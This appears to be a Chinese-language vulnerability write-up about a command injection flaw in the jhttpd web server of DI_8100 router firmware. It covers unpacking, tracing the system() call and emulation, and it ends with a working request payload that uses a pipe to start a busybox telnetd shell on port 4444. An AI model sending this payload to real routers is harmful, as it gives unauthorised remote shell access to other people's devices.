漏洞分析

下载固件后使用binwalk解包

1
binwalk -Me DI_8100-16.07.26A1.zip

进入解包后的目录

使用

1
./firmwalker.sh /home/blonet/下载/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root

查找到jhttpd文件

分析与jhttpd有关的rc

根据漏洞信息报告找到危险函数 system

执行v10,v10由v28而来

v28由v16拼接字符串

那么就有一个命令执行漏洞

再看前面的if条件

flag 是路由器,决定执行哪条命令

是cmd时才会执行漏洞函数

先看命令模板wys %s > /tmp/msp.info wys 里有一个命令表 gl_order_str

直接传 cmd=ls,wys 查表,表里没有ls,拒绝执行,no order,please help。

要用管道符 | 绕过

因为直接使用不了命令,也是通过丰富的经验知道通过busybox去调用

固件模拟

使用firmae模拟

进入到路由器管理页面(账号密码依旧丰富的经验,但也可以找到)

然后用bp拦截改数据:

1
flag=cmd&cmd=|/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%204444

发送

反弹shell

查看固件的busybox

有telnetd可以反弹shell